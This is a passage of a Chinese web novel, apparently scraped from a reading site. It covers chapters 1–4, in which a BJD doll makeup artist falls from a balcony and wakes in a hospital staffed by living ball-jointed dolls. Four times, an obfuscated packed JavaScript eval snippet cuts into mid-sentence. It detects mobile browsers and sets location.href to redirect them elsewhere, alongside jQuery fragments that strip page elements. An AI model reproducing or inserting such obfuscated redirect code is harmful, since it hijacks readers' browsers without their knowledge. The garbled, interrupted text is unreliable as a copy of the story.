《玩BJD娃娃的我成为了世界级大师》 1. 第一个崽崽 打从看到物流信息，沈鸢茉就开始坐立不安。 这种状态持续了三天。 方才手机收到短信提示，让去小区快递代收点领取包裹的时候，她早已穿戴整齐。 信息的提示音就像是短跑的发令枪，她看了一眼，便如同一支离弦的箭般，嗖——地一声从她的小阁楼冲下来，把骂声关在身后，一心只想着快点，再快点。 恨不得飞过小区。 在代收点拿到包裹的那一刻，她双手虔诚地捧着纸箱，竭力平复呼吸。手指拂过logo，她眼眶发烫。 纵使心脏快要炸开，沈鸢茉依旧稳稳地抱着快递箱，一路飞奔冲回家，一阵风似的刮过客厅，钻回她的阁楼，再次把骂骂咧咧关在门外。 咔哒一声落锁，她长出一口气。 好了，现在是独属于她的空间，是完完全全，属于她和她的宝贝们的时间。 她住的地方只有不到十平米，但这小小的十平米也是她的净土，是可以让她将一切烦恼和不快隔绝的私密小房间。 这里是一个娃娘的领土。 这个小小的房间里，藏着她最珍贵的宝贝，最美好的记忆。 在地板中央收拾出一块地方擦干净，又垫上一层绒布，沈鸢茉取出美工刀，打开摄像，小心翼翼地直播开箱。 快递箱里面，是她等了将近一年的娃娃。 364天，在生产娃娃的娃社下单后开始计算的工期，为了这只她喜欢的BJD娃娃，漫长的等待，煎熬又甜蜜。 比起现实世界的恶意和折磨，她只有在玩娃娃的时候才会得到片刻宁静。一种来自心底的安定感，是这世间，只有捧着心爱的娃才会带来的感觉。 娃娃不会哭闹，不会阳奉阴违，也永远永远，不会背叛。 美丽的事物令人着迷，BJD更是如此，只要稍加用心，略微打扮，就会用美好的姿态给出反馈。 美丽的娃娃安静地陪伴着你，没有斥责、没有辱骂。至少在这小小的十平米范围，岁月静好。 沈鸢茉这次订购的是一个小恶魔形象的娃。全套除了娃娃本体，还包括官方设计的小衣服，假发和眼珠，还加购了体妆，唯独娃的脸和小犄角是原本的粉白，没有妆容。 这是她的一个小小的习惯。 虽然娃圈有很多大手妆师，笔触自然，线条流畅，但她最喜欢亲自给自己的娃娃上妆。 看着娃在自己的笔下一点一点变得生动，会让她更有成就感。 不仅仅是上妆，事实上，跟娃有关的一切，她都想要亲力亲为。 给心爱的孩子做漂亮的小衣服、假毛、眼珠，把娃打扮得漂漂亮亮，再累再辛苦都值得。 自己动手给娃做这些，除了某种程度上省时省钱，更多的，是心意，是情怀。 每个娃娘娃爹都有自己喜欢的养娃方式：有人喜欢买大手太太们的成品，有人喜欢淘各种小物混搭，而沈鸢茉，是尽可能一手包办，让每个属于她的娃娃，都带上她的印记。 今天又是一个特别的日子。 很多人会把娃娃到家的日子当做这个娃的生日。沈鸢茉选择在镜头面前开箱，就相当于跟观众们一起给一个娃娃接生，充满仪式感，也可以跟大家一起分享喜悦。 沈鸢茉利落地用小刀划开封箱胶带，打开最外层的纸箱，拉近镜头，展示里面装着娃娃的官箱。 淡粉色的箱子带着一层柔和的珠光，沈鸢茉一边取出官箱，一边介绍，“大家好。我是Momo，欢迎来到我的直播间，今天带给大家的，是一期BJD开箱视频。” 由于入坑之后，投稿了很多视频，也接了很多订单，沈鸢茉积攒了一批粉丝，在圈里也有了些名气，这会儿直播开箱，就来了不少粉丝，刷刷礼物，发发弹幕。 “谢谢大家的礼物，不用破费，刷几朵免费的小花意思一下就行，留着钱给自己买点好吃的或者给自家崽子买小衣服吧。 “我不是什么太太，叫Momo就可以。弹幕看到有挺多新入坑的小伙伴啊，欢迎你们。 “今天时间有限，我这里主要给大家展示一下新娃细节，更多科普内容，请去贴吧或者球群自行洗白哦。” 沈鸢茉一边开箱，一边将里面的内容拿到镜头前一一展示：娃娃的假发、眼珠、衣服、出生证、减震棉垫、翅膀磁铁等配件，最后拿出娃娃本体，将配件依次装上。 将完成体稳稳当当摆在空地中央，沈鸢茉拉近镜头，顺便回复一下弹幕。 【卧槽磁吸翅膀！】 【求问几分娃？】 【这个肤色好好康！不知道这家黄化速度怎样……】 “是呢，这个翅膀设计超可爱，上面的装饰也是可以拆卸的。是6分特体小恶魔，”沈鸢茉看到弹幕上的科普君，“对，高度是30cm左右。 “黄化速度的话跟平时把玩习惯有关，我个人是不太在意这个的……”沈鸢茉顿了下，带着笑意道，“毕竟，黄化是陪伴的证明呀。 “实在介意的姐妹，玩娃的时候尽量避免阳光直射，给娃喷好消光漆就可以延缓黄化啦。” 拍完娃的配件细节，沈鸢茉又把小恶魔拿在手里，展示了一下关节可动性。 特别是是反关节腿部和两只大蹄子，收获了弹幕一堆【想要】和夸夸。 “好了，今天的开箱直播就到这里，之后会把录制的视频剪辑后上传，喜欢的小伙伴可以点个关注，下次会给大家分享这个崽的上妆过程，我们下期再见，拜拜～” 退出直播间，沈鸢茉将刚才同步录制的视频保存到硬盘，然后将官箱和配件等收好，准备开始今天的工作。 除了给她自己的崽子们上妆，有时间她还会接一些订单，即收取一定的妆费，帮别人家的娃上妆。换句话说，她也算是BJD娃圈的一名妆师。 她的技术不是顶尖的水平，也不是全职的妆师，她就是在自己的页面挂了一些妆面展示，如果有人喜欢她的风格，就随缘接妆。 什么风格啊特色她自己也说不清，找她上妆的多半是被她的操作方式吸引：不仅仅给对方拍妆图，沈鸢茉会从快递开箱到定妆打包，全程视频。 这么麻烦的操作方式，绝大多数的妆师都不会采用，但沈鸢茉从第一次接妆一直坚持到了现在，以后也不打算改。 每个娃都是娃娘娃爹珍贵的宝贝，你的宝贝到我手里，经历了些什么，我有这个义务让你看到。 她自己从不送妆也是有这方面的原因。大手妆师的名额很难排，而小透明妆师技术究竟过不过关，很难让人放心。 树脂确实结实耐操，尤其国产树脂，手滑了娃头摔地上弹几下可能都没事，但她会心疼。 况且树脂耐造也不代表每次都没事，像是鼻头、耳朵尖、手指这些地方，很可能就会有裂纹或是断掉。 再比如有些妆师材料或是手法有问题，娃娃会掉妆或者染色或者有划痕，这些都是送妆的风险。 这些沈鸢茉忍不了。 如果是她自己失误，那也就认了。但只要想到别人在她看不到的地方可能伤到她的崽，这个她绝对无法接受。 不是赔偿的问题，不是信誉的问题，就是她个人无法接受：因为她相信，任何一个人，都比不上她对自家崽子们的珍惜和热爱。 同样地，既然她接了别人家娃的妆，她也会尽可能地消除这种顾虑，尽一切可能小心对待。 全程视频不是什么噱头，她没想过靠这个出名或是发家致富，这只是她从自身角度出发，能为别人尽到的一点心意。 不是标榜自己或者诋毁别人，只是沈鸢茉的一点坚持，是她的一点态度，仅此而已。 这次的头来自一位娃爹，因为上妆全程要一对一地视频，那么肯定要协调双方的时间。 由于娃娃在邮寄过程中，还牵扯到快递可能会造成的破损丢失等问题，因此，快递签收之后，沈鸢茉肯定要第一时间开箱检查。 这就意味着从签收到上妆，中间这一段时间，她要一直开着视频，不然就算不上“全程”。 这么费力不讨好的事情，也许在很多人眼里觉得无意义，但沈鸢茉乐此不疲。 看，你的孩子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968971|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这里。它在这里也被认真对待，被一个你认可的人珍惜着。 这么一想，被说是自我满足也无所谓。沈鸢茉觉得很浪漫，会觉得付出都是值得的。 到了约定的时间，她联系上id叫做北北的娃爹，把娃头小心地放在工作台，然后固定好视频专用的手机。 “北北你好，在吗？可以看清吗？” “可以。”耳机传来一个年轻男孩的声音。 “好的，那我们就开始了。” “嗯，麻烦了，谢谢Momo。” “不客气。”沈鸢茉戴上手套，准备着上妆用品，同时跟那位娃爹轻声说着话，“你的崽很漂亮，之前咱们一起检查过了，安全抵达，没有受伤。 “因为是新头，从娘家直接寄到我这，可能会有残留脱模剂，所以我们要先用稀释把娃头擦干净，防止脱妆。” 沈鸢茉说着，用棉片沾取稀释液，在娃头上轻柔地擦拭。 “好像在给新生的孩子洗澡哦。”北北带着笑意说道。 “哈哈，是呢。”沈鸢茉也被逗笑，看来对面是位情感细腻的男生。 把娃头用稀释彻底擦过，然后再把稀释也擦净，沈鸢茉拿着娃头举着手机，来到外面的小阳台。 “接下来要喷消光漆，我这暂时不方便装喷涂箱，所以要在通风的阳台操作，稍等我戴下防毒面具。” 戴好面具，沈鸢茉拿着消光喷罐摇匀，大声说，“底层消光喷厚一点，可以保护娃头防止染色，我习惯喷三层，每层都比较厚，我这边天气干燥，每次喷完大约十分钟就可以干透，接下来半小时就是喷消光的时间。” 在等待消光晾干的时候，沈鸢茉一边跟北北聊天，一边把自己新到的娃头也用稀释处理好。 之后的上妆内容提前跟北北商定过，设定是调皮的小男孩，脸上和鼻子要加上伤痕妆。 “健康活力的小男孩我一般会用比较多红色，”上色粉的时候，沈鸢茉略微解释了一句，“不过因为你的崽是烧肌，这种小麦肤色我会把红色换成橙色，会很好看。” “嗯，好的。” 后面的过程沈鸢茉专心勾勒线条，基本不再说话，男生也只安静地看，看着他的崽，在沈鸢茉的手里，有了眼影腮红，有了眉毛睫毛眼线双眼皮，像是渐渐有了生命，变得鲜活，这个过程很享受，令人难忘。 “好了，”连续画了七个小时，把睫毛贴完，沈鸢茉长出一口气，给娃塞了一只眼珠，拉近镜头方便北北看细节，“怎么样，喜欢吗？” “喜欢，太喜欢了！”北北的声音难掩激动，“谢谢你，太感谢了Momo。” 沈鸢茉很能理解他的激动，轻笑着说，“不客气。叫的快递刚来了电话，小哥大约半小时过来取件，接下来准备打包了。娃的出生证和官方的小塑料盒都在这个自封袋，跟娃头一起包好塞快递盒。” “好的！辛苦了！” 手法娴熟地将娃头打包结实，沈鸢茉结束视频之后，还准备了两对她自己做的14mm树脂眼珠和一顶4分尺寸的男娃假毛当做小礼物，到时一并给男生寄过去。 娃头寄出，回到阁楼，沈鸢茉伸了个懒腰活动片刻，想起她自己的娃头刚喷了一层消光，还在小阳台晾着，赶紧抓着喷罐过去看。 小区绿化很好，鸟类很多，还有小野猫，每次娃头晾干的时候，她都担心被鸟叼走或者被猫扒拉到楼下。 三步冲上小阳台，看到娃头安然无恙，沈鸢茉松了口气，蹲下拿起娃头仔细查看，如果没有灰尘，就准备喷第二层消光了。 正当她抓着喷罐摇匀之际，突然有人在背后猛地推了她一把，还有个稚嫩的嗓音尖声喊道：“我妈说了你是坏人，要抢走我的爸爸！去死吧！” 沈鸢茉踉跄着撞上阳台的铁栏杆，本应该很结实的栏杆竟轻易脱落。 在坠落之际，沈鸢茉脑海中闪过最后一个想法—— 如果所有的崽子都跟她一起坠落就好了。 那个私生子和继母如此痛恨她，指不定会怎样糟蹋她的娃娃。 对不起。 2. 第二个崽崽 对不起，没办法照顾你们了。 沈鸢茉闭上眼，耳边风声呼啸。 她这辈子活得憋屈，反抗过，挣扎过，最后还是认了命。 唯一的光亮是那些树脂娃娃，唯一的遗憾也是它们。 ——要是能带着它们一起坠落就好了。 至少比留在那对母子手里强。摔碎了，砸烂了，也好过被他们糟践。 黑暗吞没意识的最后一刻，沈鸢茉自嘲地想：这一生，真他妈操蛋。 · 嘈杂的人声像是隔了一层水膜，忽远忽近。 “醒了醒了！” “救护车马上到！” 沈鸢茉费力地睁开眼，视线模糊。 难道我还没死？ 真的假的。 沈鸢茉觉得难以置信。 可身上一点痛感都没有——摔成一滩烂泥的话，大概连痛觉都消失了吧。 她迟钝地思考着。 “……都让开点，保持空气流通！” 她听到有人喊道。 从高空坠落尸体可不好看，这么惨，都不怕的吗？还围着看，看啥看。 活着都够惨了，死了……快死了还得让人跟看猴戏似的围观，这算什么啊。 有人扶她上担架，沈鸢茉下意识攥紧了手里的东西，又昏了过去。 · 再醒来时，天花板雪白刺眼。 头晕、恶心，整个世界天旋地转。 被抬上救护车的那段记忆模糊不清，沈鸢茉不确定是否真的发生过。 就连她之前的整个人生都像是笼罩了一层纱，隐隐约约看不清楚。 一阵阵的眩晕感甚至让她胃里有点犯恶心。 她分不清现在是幻觉还是现实，整个世界都像是在眼前旋转，她的身体也失重一般，虽然躺在床上，却如同浮在水面，一点都不踏实。 沈鸢茉跟浑身的不适感默默斗争着，就听见滴的一声，推拉门被打开，一位夹着病历本的干练医生走到她床前，身后还带着五六位护工，男女都有，个个人高马大。 看这阵仗，要不是都穿着一身白衣，沈鸢茉怀疑他们是来收保护费的。 “昏迷了三天，除了头晕、恶心，还有哪里不舒服？”打头的医生问。 沈鸢茉摇头，咬紧牙关怕自己吐出来。 “嗯，忍一下，让我看看。”医生说着，欺身上前，后面的护工们身体紧绷，满脸防范。 沈鸢茉的病床被调整到半坐半卧，医生扒拉着她的眼睑，又看看舌苔，还伸出一根手指让她抓握。 医生倒是挺镇定，护工们却更加紧张了。 沈鸢茉心里默默想着，这届护工好像不太行。 都紧张个啥劲儿，难不成她还能原地爆炸还是把医生吃了不成。 内心腹诽着，这样转移注意力能让沈鸢茉不再一直想吐。 她乖巧地任凭医生摆弄，护工们似乎放松了些，但也没敢松懈，始终围在病床不远处戒备着。 “再做个全身检查，我给你约了下午三点十八分。”医生在病历本上写下几行字，看到沈鸢茉纠结的表情，又补充道，“医药费政府全额报销。” 沈鸢茉愣住。 ——政府报销？给她这种爹不疼娘不在的人，全额报销？ 太阳穴突突地跳。 不对劲，全都不对劲。 到底是怎么回事。 “好了，检查的时候会有工作人偶过来照顾你。有什么需要就按铃，多休息吧，保持心情愉快。” 说完，医生把沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968972|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸢茉的病床重新调整成平卧，然后扭头走了。护工们也跟着鱼贯而出，推拉门被关上，滴地一声，像是上了锁。 沈鸢茉缓了几秒，猛地掀开被子，审视自己穿着病号服的身体：两只手，都在！两只脚，都在！胳膊腿儿完好无缺，活动自如！ 惊喜交加的双重冲击，她也顾不上恶心头疼了，从病床上蹦到地上，还原地跳了跳。 从高楼坠落，居然毫发无损？！ 她知道政府为什么给自己全额报销医药费了，她就是现代医学的奇迹！ 对，就是这样，就是这样没错了！ 难怪那些护工一个个紧张得不行，换成自己，看到有人能从坠楼中生还还毫无损伤，肯定也得防备着。 真是……她这超能力还不好发现呢，平时跟普通人没啥区别，该生病生病，该吃饭吃饭，要不是这次坠楼，根本一点迹象都没有。 艹啊老娘牛逼大发了！ 狂喜之余，沈鸢茉突然想起什么，环视四周，然后扑向床头柜。 托盘里除了水杯，还静静躺着一颗树脂娃头，以及一罐消光喷漆。 是她坠落前死死攥住的东西。 既然这些都给她妥善保留着……是不是意味着，他们允许她继续玩娃娃？ 沈鸢茉开始四处晃悠，像是巡视领地的小动物。 病房门锁着，但这里环境却出奇得好：三十平的单间，独立卫浴，甚至带个小阳台。 阳光透过落地窗洒进来，窗帘随风轻晃。 沈鸢茉盘腿坐回床上，摩挲着娃头。 既然走不了，不如……先干正事？ 打定主意，她便抓起娃头，摇晃着喷罐走向阳台。 天气晴朗，干燥通风。 正好可以喷第二层消光。 3. 第三个崽崽 病房里的医疗设备闪烁着意义不明的数字，沈鸢茉盯着它们看了会儿，又转头望向窗外。 消光漆干得很快，和以前在家的时候差不多。窗外的景色看不出一丝熟悉的痕迹，她不知道自己被带到了哪里，但这里的气候应该和原来的城市相差不大，可能离家并不远。 剩下的两层消光只用了半小时就喷完了。可惜这里没有画笔、颜彩和色粉，接下来的上妆工作只能暂时搁置。 沈鸢茉把娃头小心地收在避光处，并用叠成方块的枕巾垫好。 没有手机，也没有其他通讯设备。沈鸢茉在病房里转悠，没有娃娃可以玩，她试图找点别的事情做。 书架上摆着几本杂志和文学读物，旁边还放着些简易健身器材。她取过几本书，随手翻了翻，兴趣缺缺，直到发现一个小平板。 眼下也就这个能打发时间了吧。 沈鸢茉按下开机键。 不出所料，浏览器被限制访问，常用网站全都打不开。她点开收藏夹，发现里面只有两个论坛：人形师论坛和人偶论坛。 调查得真彻底啊……沈鸢茉都要佩服那些人了。 看来她的喜好已经被摸得一清二楚。 搞不好连她自己都不知道的曾曾曾曾祖父的家族秘辛都被写在档案里呢。 沈鸢茉先点开人形师论坛，想看看有没有熟悉的妆师或娃社新作。可翻了半天，一个认识的ID都没找到，连提到的一些合作妆师的名字都很陌生。 “奇怪……”她皱眉，又切换到人偶论坛。 这里的讨论更加五花八门，有些帖子她看得懂，比如关于娃的身体养护、妆面技巧的分享，但更多的内容让她一头雾水—— 【最新武器系统适配测试】 【高负载关节改造方案】 【能源核心续航优化】 这……怎么看着都好硬核的亚子，难道是在说高达模型之类的？ 沈鸢茉陷入沉思。 或许这里讨论的不止是BJD，还包括MDD、小布、兵人、手办甚至机器人模型？ 毕竟，不是只有BJD才算人偶。 这么一想，那些关于武器系统啊能源核心之类的帖子，似乎也能理解了。 她不了解的娃娃种类多了去，看不明白人家讨论什么，再正常不过。 沈鸢茉松开眉头。 想通了这一点，她就开始挑着自己比较感兴趣的帖子点开，看得津津有味儿。 人偶论坛浏览量似乎还挺大，里面的讨论异常热烈，甚至还有特别多招募人偶妆师和人偶技师的页子，看得沈鸢茉心里发痒。 等她之后有时间了来这里接单似乎也不是不可以。 但同时她又开始纳闷了。 这么好的论坛，她居然现在才看到，甚至以前从来都没听说过，也是奇怪。 但无所谓了，毕竟这里归国家管嘛，渠道肯定是要广一些。也许是一个境外的什么网站也说不定。 没考虑太多有的没的，沈鸢茉现在就准备走一步看一步，于是继续刷论坛。 她越是看就越是兴致勃勃，还点开一些自己不大了解的帖子，也抱着学习的态度认真琢磨着。毕竟娃是共通的，爱娃的心是共通的，也许有什么可以借鉴到BJD这边的呢？ 到了中午，沈鸢茉再一次受到震撼：一位护工推来一辆金光闪闪的餐车，足足四层！每一层都摆满了精致菜肴。 不是普通的医院标准营养餐盘，而是整整一个餐车！四层！还是金色的！ 沈鸢茉大致扫过，每一盘都是量大管饱，整车加起来，丰盛到足够20个人吃饱。 而且菜色荤素搭配，水果甜点好多她见都没见过，豪华得不得了。 护工的态度也是恭恭敬敬的，“请问您还有什么需要的吗？如果这里的菜色不满意，您可以另外指定，我们会尽快为您安排。” 沈鸢茉的肚子适时地咕噜一声，她摇摇头，“不用了，谢谢。” 护工微微欠身，声音四平八稳不带任何情绪：“那么请您慢用，用餐完毕或者如果有什么需要的话，请随时按铃吩咐。那么就不再打扰了，祝您用餐愉快。” 随后，护工再次弯腰致意并退出了房间。 看着满桌美食，沈鸢茉犹豫了好一会儿。单她认识的，鱼子酱、牛排、奶油浓汤……还有很多她从未见过，同样精致可口的餐点，单看卖相就知道这绝对不会是医院标准差，倒像是高级餐厅的定制料理。 该不会是断头饭吧…… 沈鸢茉心中忐忑。 但饥饿感很快战胜了疑虑。 管它那么多做什么，先吃了再说。 但凡浪费一点，都是对美食的大不敬。 她拿起筷子，尝了一口，眼睛瞬间亮了起来—— 太太太好吃了！！ 昏迷了三天，她的胃早已空空如也。风卷残云般扫荡了半层餐车的食物后，她才勉强停下，看着剩下的菜肴发愁。 这也太多了…… 沈鸢茉把剩菜一股脑塞进房间里的保温柜，然后试着按铃联系护工，表示明天不用送这么多。 结果对方态度坚决，表示这些菜只是一顿的份量，到晚上还得照着这个标准来一次。 假如真的每天每次都送这么多饭菜吃不完的话，那不都得白白浪费？ 沈鸢茉很有罪恶感。 事情似乎就这么僵持起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968973|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了一下，她决定先别为难护工了。 下午不是还安排了身体检查吗，听听检查结果，看她到底是个什么毛病，然后再跟医生谈吧。 没想到会在吃饭的问题上花费额外的力气，沈鸢茉收拾好碗筷，护工过来将用过的餐具推走。 又逛了一会儿论坛，在房间溜达着消食，随后她便去房间的淋浴间，洗了个澡，吹干头发，强制自己午睡一会儿，为接下来的事情养足精神。 这一觉睡了一个半小时，对于沈鸢茉来说这么平静的休息时间还挺奢侈。也不知道多久没有这么放松的入睡了。 三点的时候，她起来收拾了一下，醒了醒神，两眼放空地盘了一会儿她的娃头。 随后便听到一阵温柔的铃声。 她走过去拿起听筒，对面传来一个带着机械质感的声音：“您好，尊敬的编号SSV007号患者，沈鸢茉小姐。您预约的今日一十五点一十八分身体检查，即将派出工作人偶，引领您前往fftp06号诊疗室。工作人偶预计十分钟后抵达您的病房，请做好准备。” “好的，谢谢，知道了。”挂掉通讯后，沈鸢茉又梳理了下头发，检查了下自己身上穿的病号服。 应该没什么问题。 果然，十分钟后，房门被敲响，与此同时，病房内的通讯再次响起，她走过去接起。 “您好，编号SSV007号患者，沈鸢茉小姐。工作人偶已经抵达您的病房，编号为X7800WOX，请您确认身份牌。” 沈鸢茉一边听着，一边透过房门的可视窗口，跟门外男人胸前的号码牌核对了一下。 语音继续说道：“如果确认无误，请在‘哔’声后按‘＃’号键挂断，并跟随工作人偶前往fftp06号诊疗室进行身体检查。” 沈鸢茉根据提示按下“＃”号键，听到咔哒一声开了锁。 拉开房门，她看到门口站着一个高高大大的男人，穿着制服。 沈鸢茉略带警惕地看着他。 “那么沈鸢茉小姐，”一直站在门口的男人突然开口说话，并在病房门口扫描了一下胸卡，“接下来请您跟随我一同前往fftp06号诊疗室进行身体检查。” 男人迈开一步侧过身，向前伸出一条手臂，作邀请的姿势。 就在这时—— “啪嗒！” 男人的右手突然垂落，像是断掉一样，无力地挂在手腕上晃来晃去。 沈鸢茉瞪大眼睛，随即突然注意到了什么，下意识地直勾勾盯着他的手，眼珠子随之晃来晃去。 当她心中浮现某个猜测时，脑子里瞬间刷过大小不一五颜六色的无数弹幕—— 靠靠靠靠靠！ 4. 第四个崽崽 那只手还在晃荡。 沈鸢茉呆立原地，脑子里嗡嗡作响——这不是真人！ 眼前这个高大的“男人”，居然不是个真人，是个会动会说话的人偶！ 我靠啊这居然是个人偶！ 沈鸢茉看着那只还在晃悠的手，跟被雷劈了似的愣在原地。 这么大一个人偶，如果不是垂落下来的那只手，就这么站她面前半天，她居然一点都没发现。 她还跟他对话了！ 她死死盯着对方手腕处的接缝，那里露出熟悉的球形关节结构。 因为手腕处整个脱离的缘故，现在倒是能看清，设计的是内关节球，只是尺寸比她见过的任何BJD都要大，接缝处还做得特别隐蔽。 筋线松脱，钩子生锈，显然，这只巨大的人偶已经很久没人维护了。 可恶啊，谁家的？！ 所以刚才有好几次，医生还有通讯里面，在说什么“工作人偶”，是这种人偶吗？ 这么大！真的是人偶啊哇趣！ 那刚才的医生和护工是活的吗？！难道也是人偶吗？怎么做出来的啊，能说会动的哎。 她该不是被整蛊了吧？ “那么沈鸢茉小姐，”依然站在门口的男人再次开口说话，声音一板一眼四平八稳，对她的反应视若无睹，“接下来请您跟随我一同前往fftp06号诊疗室进行身体检查。” 而沈鸢茉此时还在感叹：壮哉啊我国娃圈，啥时候发展到如此程度，也太进步了叭。我何止昏迷了三天，我怕不是昏了三十年呢…… 她脑子不是一星半点的懵，但也还是在工作人偶第三次开口说话前走出了房间。 呜呜，会动会说话的人偶，这么大一只哦。 如果不是看到熟悉的筋和钩子，她肯定以为是机器人呢。 不过机器人一般也不叫人偶的吧。 可是好奇怪啊，现在就连小学生课外班不也都是去学什么机器人编程之类的，没听说有研究工作人偶的啊。 所以他到底是机器人还是娃啊…… 沈鸢茉走到近处仔细一看，也看不见什么电线，工作人偶的手腕处跟她见过的BJD设计基本一致，球形关节中间伸出连着筋的钩子，从缝隙处看里面是空的。 那根筋磨损严重，锈迹斑斑的钩子，沈鸢茉越看越心疼——她已经很久没见过状态这么差的娃了。 她基本可以确定这不是机器人，而是货真价实的BJD人偶娃娃。 但为什么能动会说话，就属于知识盲区了。 这到底是什么地方，怎么越来越奇怪呢。 沈鸢茉勉强维持着镇定，大脑已然过载。 工作人偶再次发出同行邀请，沈鸢茉的脚自动跟了上去，眼睛却黏在人偶的关节处。 职业病发作，她鬼使神差地伸手，捏住人偶另一只手腕，熟练地调整起松脱的筋线。 咔哒一声，垂落的手掌复位。 “谢谢您，我感觉好多了。”工作人偶收回手臂，冲沈鸢茉握了个拳。 “不、不客气。”沈鸢茉结结巴巴地回答，小心脏开始扑腾扑腾跳得起劲，指尖还残留着人偶皮肤的触感。 “也很抱歉，给您带来不好的体验。”人偶一边带路一边说道。 “呃，没、没关系……”沈鸢茉回答得像个人机。 跟在工作人偶后面，沈鸢茉脑子咔擦咔擦地艰难运转。 这感觉好踏马魔幻…… 她在跟人偶对话耶，有问有答地……而且这么大的娃做工好棒，关键还会自己动！ ……虽然老化很严重的样子，但是能自己走路还能对话呢！ 怎么做到的啊。 话说他那手，一看就是筋很松了，不知道他是怎么穿的筋，也不知道是哪家娃社出的，有没有跟娃一起出厂的小册子。 一般娃社都会随娃附赠一张示意图或者一个小册子，告诉玩家一些基础知识，包括怎么拆头换眼拉筋这些。 不过没有也不要紧，对于沈鸢茉来说，拆开看一眼她应该就会了。 筋这么松，手都掉出来了，她刚拉那一下估计坚持不了多久，还是得换筋重拉才行。 就是这么大一只她没拉过，不知道得换多粗的皮筋。 重点在于，娃越大、筋越粗，如此一来，筋的弹性也就更足、拉力也跟着更大。 她能不能拉得动，这可是个很严峻的问题…… 沈鸢茉跟在人偶身后去体检，思维不知不觉跑偏到十万八千里之外，连带着都没最开始那一下震惊了。 也可能她整天都跟娃打交道，就连做梦都在玩娃，所以自然而然就比较容易接受？ 比起害怕，她现在更多的是好奇，以及……手痒。 伸个胳膊手都能脱勾，这体内的筋怕是一点弹性都没了吧！谁的娃啊怎么这样了还不给换筋拉筋，这么不负责的吗！ 就算是机器人还得定期维护上油检测的吧，怎么工作人偶都没人给拉筋的？！ ……不知道她能不能等检查完让人偶跟她再一起回病房啊。要是能让她试试换筋，拆开之后说不定她还能搞清楚是怎么让人偶动起来的，她快好奇死了！ 脑子里乱七八糟的沈鸢茉，一路行进。余光里她隐约注意到，走廊两边时不时就会看到几个很凶的护工，像保镖一样背着手挺着胸站着，目光却死死地盯着她。 ——跟先前去她病房那位医生身边跟着的几位很像。 他们在搞什么啊好诡异，这里真的是医院吗？正经医院的护工哪有这么凶神恶煞的。 既然都那么闲地站在走廊，有功夫瞪她怎么不去给人偶维护一下！ 可能是这群护工们的杀气，也可能是高空坠落的后遗症，让她觉得特别不踏实，心慌得厉害，好像下一秒就会死相特别难看特别痛苦地嗝屁。 又或者她根本就是在做梦吧……所以才有这么多不自然的地方。 人偶会动……就很像是她会做的梦了。 唉……如果真的是做梦，那她再多玩会儿好像也没什么不可以吧。 于是她对领先她两步的人偶说道：“呃……你好，可以问一下为什么没有人给你拉筋吗？咳，也许这么说会有些冒犯，但说实话……筋真的太松了。” “真的非常抱歉，”人偶回过头，平静的语气像在讨论天气，“我马上就要报废了，今天可能就是最后一次给您服务了，给您造成了困扰和不便，我很愧疚，之后您可以进行投诉并申请补偿。” “报废？！”沈鸢茉的声音拔高了八度，在走廊回响。 一群猛男瞪着她，浑身戒备，但她顾不上其他，“只是筋松了而已啊，为什么就要报废了？！” 人偶仍然对她的情绪起伏没有什么反应，对他自己即将报废的命运也没有任何波动，只是一板一眼地回答问题，“工作人偶到达年限或者因故损坏，都是直接报废换新，不会进行维护和修理的，大家都喜欢直接换新的人偶。” “为什么啊！”沈鸢茉不解，BJD多贵啊，不好好养就算了，稍微有点毛病就直接换新的，这也太壕横了吧。而且好浪费好可惜，明明重新拉筋就能解决的小问题，干嘛非得报废啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968974|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人偶停顿了一下，像是在搜索标准答案，“因为没有那么多人偶技师，维护和修理的费用也更加高昂，从性价比考虑，不如直接购入采用新材料和新配件的全新人偶。简单来说，就是没有维护价值，直接换新更划算。” “那……”沈鸢茉迟疑了下。 虽然人偶看上去似乎没有情感，但她有。 人偶安静地看着她，犹豫过后，她还是轻声问出了口，“那么，报废的人偶会怎样呢？” 